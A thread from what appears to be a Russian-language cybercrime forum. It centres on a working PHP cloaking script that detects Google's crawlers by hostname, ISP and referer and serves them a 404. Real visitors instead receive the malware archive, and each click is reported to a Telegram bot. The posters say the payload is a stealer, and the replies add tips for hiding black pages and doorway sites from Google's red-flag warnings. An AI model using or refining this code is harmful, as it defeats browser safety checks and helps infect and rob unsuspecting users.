• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Боремся с алертом Chrome просто и эффективно.

kosok11

RAT
Пользователь
Регистрация
12.03.2019
Сообщения
795
Решения
1
Реакции
793
Гарант сделки
6
Депозит
0.0022
Приветствую всех.
Статья, в основном, для новичков. Но может быть какие-то интересные моменты или идеи найдут для себя и "бывалые".
Приятного прочтения.


Предисловие. (Если тебе быстро и по делу - пропускай, переходи сразу к разделу "Создаем свой shit", тут кулл-стори)

За окном зима. Все по-немногу отходили от новогодних праздников. Кроме подарков, полученных от родных и близких, все мы получили еще один общий подарок - довольно крупное обновление в Google.
Это обновление было незаметно для рядовых пользователей, но большинство тех, кто так или иначе, в своей работе выдает "вредоносные" файлы через Chrome или заливает различного рода приложения в Play Market, ощутили его сполна.
Выдача из Dropbox стала useless. Прилы с WebView начали отлетать раньше, чем апрувнется первая РК. Залитый и проверенный пол часа назад файл, начал ловить табличку "Файл вредоностный". Праздники закончились и началась гонка с IT-корпорацией за завоевание сердец (компов) обычных и не очень граждан.

Ищем стартовую точку.

Первым делом был проведен тест и сравнение статистики разными трекающими методами. Первый трекер: клоака на ленде, второй: трекер на кнопке "скачать", третий: отстук на ip-logger встроенный в крипт. Результат такого трекинга был более чем интресным, и главное, что раньше такого не наблюдалось, это действительно было изменение в работе гугл-ботов.
Наблюдение дало следующие результаты: некторые клики по кнопке скачать не были замечены в клоаке ни как "допущенные" ни как "заблокированные", проверка ip этих кликов со 100% вероятностью показывала какой-либо из сервисов гугла, чаще всего "cache.google", реже "proxy.google" и "googleusercontent". Эти же ip стучали на ip-logger, встроенный в крипт и самое важное - прямо в стилак.
Дальше потребовалось немного времени и контроль ситуации в режиме "он-лайн". Заливаю файл на хост, проверяю скачивание из хрома и детект ВД - все чисто. Включаем поток, ждем. 1й - 4й клик, ip есть и в клоаке и в трекерах, проверям файл - все в порядке. 5й клик по кнопке, в клоаке пусто, в стилак стучит бот гугла. Проверяем линк - алерт.

Собираем всю полученную с тестов информацию в кучу и получаем такую картину (как я ее вижу): гугл-бот ныряет прямо за юзером на блек, кликает по кнопке скачать (либо берет линк прямо у юзера из браузера и так же качает файл). Бот полноценно скачивает файл, запускает и принимает решение - опасен файл или нет. Если решение, что файл опасен - линк получает алерт.
В целом задача ясна - нужно не дать боту скачать файл, приступимс.

Создаем свой shit

После проведенных тестов со сбитием хеша, уникализации линка, уникализации контента в архиве и прочих техник, я решил остановиться на одной, котрую подсмотрел (и протестировал) у BlackTDS и адаптировал. В итоге в бою этот метод показал себя как самый эффективный из простых, который продлевает файлу жизнь аж до момента пока хром не выдаст юзеру алерт с просьбой отправить файл на проверку (тут уже только блочить гугл на уровне софта, файл в таком случае берется прямо с винчестера юзера).

Утром стулья Сначала код, вечером деньги после - пояснения.

PHP:
<?php
//Получение значения реферера
$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

//Получение текущего домена
$currentDomain = parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST);
$expectedDomain = explode('.', $currentDomain)[count(explode('.', $currentDomain)) - 2] . '.' . explode('.', $currentDomain)[count(explode('.', $currentDomain)) - 1];

//Получение домена из реферера
$refererDomainFull = parse_url($referer, PHP_URL_HOST);
$refererDomain = explode('.', $refererDomainFull)[count(explode('.', $refererDomainFull)) - 2] . '.' . explode('.', $refererDomainFull)[count(explode('.', $refererDomainFull)) - 1];

//Проверка ip пользователя
$user_ip = $_SERVER['REMOTE_ADDR'];

// Получение имени хоста
$hostname = gethostbyaddr($user_ip);

// API Check-Host.net
$url = "https://check-host.net/ip-info?host={$user_ip}";

// Получение информации об ISP и организации
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

//Проверка значения в ISP
$isp_pos = strpos($response, 'ISP</td>');
if ($isp_pos !== false) {
    $isp_start = strpos($response, '<td>', $isp_pos)+4;
    $isp_end = strpos($response, '</td>', $isp_start);
    $isp = substr($response, $isp_start, $isp_end - $isp_start);
} else {
    $isp = 'empty';
}

//Проверка значения в Organization
$org_pos = strpos($response, 'Organization</td>');
if ($org_pos !== false) {
    $org_start = strpos($response, '<td>', $org_pos)+4;
    $org_end = strpos($response, '</td>', $org_start);
    $org = substr($response, $org_start, $org_end - $org_start);
} else {
    $org = 'empty';
}

//Проверка значения в Country
$country_pos = strpos($response, 'Country</td>');
if ($country_pos !== false) {
    $country_start = strpos($response, '<td>', $country_pos)+4;
    $country_end = strpos($response, '</td>', $country_start);
    $country = substr($response, $country_start, $country_end - $country_start);
    $country = trim(strip_tags($country));
} else {
    $country = 'empty';
}

$token = "BOT_TOKEN"; // TOKEN между ковычек
$chat_id_bot = "CHAT_ID_FOR_BOTS"; // ID  между ковычек
$chat_id_man = "CHAT_ID_FOR_GOODS"; // ID  между ковычек

//Проверка
if (strpos($hostname, 'google') !== false
    || strpos($isp, 'google') !== false
    || strpos($org, 'google') !== false
    || strpos($hostname, 'Google') !== false
    || strpos($isp, 'Google') !== false
    || strpos($org, 'Google') !== false
    || strpos($hostname, 'GOOGLE') !== false
    || strpos($isp, 'GOOGLE') !== false
    || strpos($org, 'GOOGLE') !== false
    || empty($referer)
    || $refererDomain !== $expectedDomain)
{
    // Если хотя бы одна из переменных содержит "google", пустой реферер или реферер не соответствует домену - отправляем пользователя на 404
    $arr = array(
        '🌐 #BOT_' => $expectedDomain,
        '🔗Ip Address: ' => $user_ip,
        '⛱Ip Host: ' => $hostname,
        '📊Ip ISP: ' => $isp,
        '🧠Ip Org: ' => $org,
        '🏁Ip Country: ' => $country,
        '🧊Referer Domain: ' => $refererDomain,
    );
 
    foreach($arr as $key => $value) {
        $txt .= "<b>".$key."</b>".$value."\n";
    };
    $txt = urlencode($txt);
    $sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id_bot}&parse_mode=html&text={$txt}","r");
 
    if ($sendToTelegram){
        header_remove();
        header('Connection: close');
        http_response_code(404);
        die;
    } else { echo "ERROR";}
} else {
    // Если ни одна из переменных не содержит "google", а реферер совпадет с текущим доменом отправляем пользователя на file
    $arr = array(
        '🌐 #MAN_' => $expectedDomain,
        '🔗Ip Address: ' => $user_ip,
        '⛱Ip Host: ' => $hostname,
        '📊Ip ISP: ' => $isp,
        '🧠Ip Org: ' => $org,
        '🏁Ip Country: ' => $country,
        '🧊Referer Domain: ' => $refererDomain,
    );
 
    foreach($arr as $key => $value) {
        $txt .= "<b>".$key."</b>".$value."\n";
    };
    $txt = urlencode($txt);
    $sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id_man}&parse_mode=html&text={$txt}","r");
 
    if($sendToTelegram){
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename=FILE.zip'); //Имя выданного юзеру файла
        header('Content-Description: File Transfer');
        readfile('https://SOMELINK.com/FOLDER/FILE.zip'); //линк на файл
        die;
    } else { Echo "ERROR";}
}


?>

В общем-то весь код содержит комментарии к действиям, но я все же немного разжую пошагово логику его работы, чтобы проще было модернизировать его под себя.

Первым делом мы получаем реферер пользователя, который тыкнул по кнопке скачать, вычленяем из него корневой домен, и то же самое делаем с текущим местом расположения нашей пыхи.
Логика всей этой движухи заключается в последующем сравнении корневого домена реферера и корневого домена, где находится php файл, чтобы исключить попытки скачать файл извне (если ваша пыха будет находиться на другом домене, то нужно будет редактировать эту проверку под себя).

Следующим этапом переходим к сбору информации о пользователе. Получаем его ip, хостнейм. С имеющимся ip топаем на check-host.net и собираем дополнительную информацию об имеющемся ip.

Дальше классическое объявление токена тг-бота и чат id для "отчетов в тележку". В моем случае используется 2 chat-id, в первый я отправляю информацию о ботах, во второй об одобренных кликах (задрот статистик, да, извините).

Ну и следующий шаг - самый главный. Мы проверяем "а не гугл ли ты часом? а если въе*ать и переспросить?". Прогоняем все полученные данных о хосте, орагнизации, ISP и тд на наличие строки "google" в разных вариантах ее написания, чтобы наверняка. Отсекаем пустой реферер и реферер, который не совпадает с текущим доменом пыхи.
Ну и собственно в зависимости от результата проверки посылаем бота на 404, а нормальному, ровному пользователю отдаем нашего зверька. По приколу можете редиректнуть бота на рик-ролл )))))

Итоги. Результаты. Оправдания.

Начну с оправданий.
Опытные пыхеры, давайте договоримся: без ссаных тряпок, тапок и трусов в мою сторону. Я не пыхер, сие чудо-техники писалось пошаговым тыканьем палки в ЧатГПТ и правками того, что он выдал с помощью гугла и стаковера. Если там что-то где-то можно было написать грамотнее и красивее - ты красава, что это знаешь, бери, делай, пользуйся.

Продолжу результатами.
С первого дня и по сей день, все, с кем я работаю или работал пользуются этой пыхой, объединяют ее с дополнительными трекерами и техниками по типу "выдавать файл со старорег цпанельки" и все работает как часы. Если файл изначально выдается без алерта, то он его не поймает достаточно продолжительное время. Хотите верьте, хотите нет, инструмент у вас перед глазами, проверяйте сами.

Итоги?
Итоги подведите сами. Если возьмете на вооружение и понравится, можете влепить лайк, можете просто отписать ниже, что все работает. А можете ничего не писать и не ставить реакции, просто кайфуйте )))
 
Последнее редактирование:
Хорошая статья, если ещё кто-то напишет статью, как не получать KT от гугла в первые минуты жизни, то вообще сказка)
Тут я не спец, у меня проблем с КТ в принципе никогда не возникало, не знаю почему.
Попробуй вот такие шаги, если у тебя не так:
- Блэк всгда исключительно в папке выше корня (например site.com/img/someblackpage.php)
- Блэк никогда не называется "index"
- В корне, индексом всегда лежит вайт-пэйдж
- Ну и перебирай клоаки разные
- Как можно чаще уникализируй вайт и блэк, чтобы чисто по паттернам html кода не ловить КТ
 
Пожалуйста, обратите внимание, что пользователь заблокирован
бро, сложным путем пошел)
https://xss.pro/threads/84323/ вот тут я писал, что адреса всех скачанных файлов в гугл отправляются хромом, и затем по ним идет гугл-краулер и выкачивает.
1687413157739.png
 
бро, сложным путем пошел)
https://xss.pro/threads/84323/ вот тут я писал, что адреса всех скачанных файлов в гугл отправляются хромом, и затем по ним идет гугл-краулер и выкачивает.
Посмотреть вложение 59605
Может я тугой, но мне хоть убей не поддается объяснение в твоей статье ) В целом вроде все понятно, но как воевать с этим, картинка не появляется в голове )

Ну и дополню немного, что очень часто "краулер" то ли сидит в браузере пользователя, то ли срабатывает мгновенно. В трекере кликов эта картина выглят примерно так: нажимает на кнопку реальный юзер, который пробился через первую клоаку на блэк, и тут же, через долю секунды, еще 1 клик с тем же гео (если юзер из франции, будет франция, если дания - дания и тд), но другим ip, он уже не пробивал клоаку первую. Идем проверять ip - chache.google, занавес.

UPD.
Еще важный момент - уникализация линка на файл, тоже не работает (работает, но очень не долго), боты все-равно пробиваются. Т.е. краулеры берут не целевой линк на файл, а именно предшествующий ему линк на пыху и именно по нему переходят.
 
Последнее редактирование:
Тут я не спец, у меня проблем с КТ в принципе никогда не возникало, не знаю почему.
Попробуй вот такие шаги, если у тебя не так:
- Блэк всгда исключительно в папке выше корня (например site.com/img/someblackpage.php)
- Блэк никогда не называется "index"
- В корне, индексом всегда лежит вайт-пэйдж
- Ну и перебирай клоаки разные
- Как можно чаще уникализируй вайт и блэк, чтобы чисто по паттернам html кода не ловить КТ
Не мой случай, так как у меня больше с поисковика сайты и используется всегда стартовая страница. ( index )
Можно конечно попробовать сделать скрипт, который будет перенаправлять на директорию выше, как ты и посоветовал..
Просто, если клоачить ботов, то сайты не будут индексацию проходить, как надо. ( У меня более серая тематика, но иногда кт залетает )
 
Не мой случай, так как у меня больше с поисковика сайты и используется всегда стартовая страница. ( index )
Можно конечно попробовать сделать скрипт, который будет перенаправлять на директорию выше, как ты и посоветовал..
Просто, если клоачить ботов, то сайты не будут индексацию проходить, как надо. ( У меня более серая тематика, но иногда кт залетает )
я не уверен можно ли так сделать, но если тебе нужна индексация, то мысль такая:
index.php работает в режиме "клоаки", но без редиректов, а в зависимости от результата отрисовывает разный html код.
Если гугл бот - index_white.html, если обычный пользователь - index_black.html
Отличаются они между собой минимально, из вайта просто вырезаны те вещи, которые могут тригернуть гугл на КТ. Если все верно сделать, то по идее ты получаешь успешную индексацию site.com/index.php с тем содержанием, которое тебе нужно, при этом боты не видят тригерные элементы.

Или +- тот же смысл, но чуть другая реализация: если пыху тригернуло, что бот - спрятать отдельные блоки (не уверен как пыха, js точно такое сможет)
 
я не уверен можно ли так сделать, но если тебе нужна индексация, то мысль такая:
index.php работает в режиме "клоаки", но без редиректов, а в зависимости от результата отрисовывает разный html код.
Если гугл бот - index_white.html, если обычный пользователь - index_black.html
Отличаются они между собой минимально, из вайта просто вырезаны те вещи, которые могут тригернуть гугл на КТ. Если все верно сделать, то по идее ты получаешь успешную индексацию site.com/index.php с тем содержанием, которое тебе нужно, при этом боты не видят тригерные элементы.

Или +- тот же смысл, но чуть другая реализация: если пыху тригернуло, что бот - спрятать отдельные блоки (не уверен как пыха, js точно такое сможет)
Спасибо за развернутый ответ.
Пробовал по разному на самом деле и бывает такое, что он просто так КТ накидывает.
Начал картинки в BASE64 прятать и менять код сайт ( скрипт написал, который меняет классы и подставляет сразу CSS ) и после этого он может дать кт через месяцы, но это на какой-то лендинг, а есть и многостраничные сайты где всё на PHP и там бороться с этим тяжелее.
Какой вообще вариант для многостраничников посоветуешь?
 
Спасибо за развернутый ответ.
Пробовал по разному на самом деле и бывает такое, что он просто так КТ накидывает.
Начал картинки в BASE64 прятать и менять код сайт ( скрипт написал, который меняет классы и подставляет сразу CSS ) и после этого он может дать кт через месяцы, но это на какой-то лендинг, а есть и многостраничные сайты где всё на PHP и там бороться с этим тяжелее.
Какой вообще вариант для многостраничников посоветуешь?
Я еще раз напомню, на всякий - я не спец по борьбе с гуглом, это всего лишь мои размышления )

На счет многостраничников, что мешает повесить проверки и скрытия тригерных блоков на каждой странице? ) Для облегчения работы все блоки, которые нужно скрывать обернуть в какой-то div и задать им одинаковый класс, чтобы не писать под каждый блок отдельный хайд
 
Я еще раз напомню, на всякий - я не спец по борьбе с гуглом, это всего лишь мои размышления )

На счет многостраничников, что мешает повесить проверки и скрытия тригерных блоков на каждой странице? ) Для облегчения работы все блоки, которые нужно скрывать обернуть в какой-то div и задать им одинаковый класс, чтобы не писать под каждый блок отдельный хайд
Понимаю, что это размышления, но никто не мешает обсуждать)


В этом и соль, что прятать нечего😁
Просто покупают люди исходник и используют все вместе ничего не меняя на сайте и возможно это влияет, так как есть у гугла проверки какие-то на уникальность возможно
 
Понимаю, что это размышления, но никто не мешает обсуждать)


В этом и соль, что прятать нечего😁
Просто покупают люди исходник и используют все вместе ничего не меняя на сайте и возможно это влияет, так как есть у гугла проверки какие-то на уникальность возможно
Странно, что прятать нечего, но на что-то гугл трегится )

Из исходной задачи: нужна индексация, но прятать от ботов нечего - у меня мелькает только одна идея. Попробовать протестировать ASCII рандомизацию, при каждом обращении к пыхе. На каждую букву, которую можно заменить другим ASCII кодом, чтобы при этом визуально ничего не менялось создать переменную и рандомизировать каждый раз. Гемор, но больше мне ничего пока что в голову не приходит из того, что можно было бы потестировать )
 
Странно, что прятать нечего, но на что-то гугл трегится )

Из исходной задачи: нужна индексация, но прятать от ботов нечего - у меня мелькает только одна идея. Попробовать протестировать ASCII рандомизацию, при каждом обращении к пыхе. На каждую букву, которую можно заменить другим ASCII кодом, чтобы при этом визуально ничего не менялось создать переменную и рандомизировать каждый раз. Гемор, но больше мне ничего пока что в голову не приходит из того, что можно было бы потестировать )
Я пробовал делать рандомизацю оттенка сайта, через JS.
Были мысли, что он по дизайну определяет, но безуспешно.


Заметил, что тригерится касперский на картинки и некоторые элементы, но это все максимально безобидно, так как сайт не фишинг даже.
Можно сказать, что дорвей обычный, чтобы завлекать людей по запросам.

Можно попробовать сделать такую рандомизацию и это будет похоже на уникализатор своего рода.
Мне кажется, что надо полностью менять картинки или просто загрузить на другой хостинг или так же в BASE64 обернуть попробовать.


Google ещё относиться к новым доменам с подозрением и иногда помогает загрузить обычный лендос на неделю с нужными ключами, а потом уже залить, что нужно.

( каждый раз экспериментирую и всегда разный результат и собирая пазл иногда получается дать домену спокойно пожить, но это не всегда работает )

КТ снимают за час самое быстро, а иногда уходят дни и может не прилетать больше вообще. ( Некоторые регистраторы сносят домен из-за кт просто и из-за этого лучше вообще стараться не получать ).
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх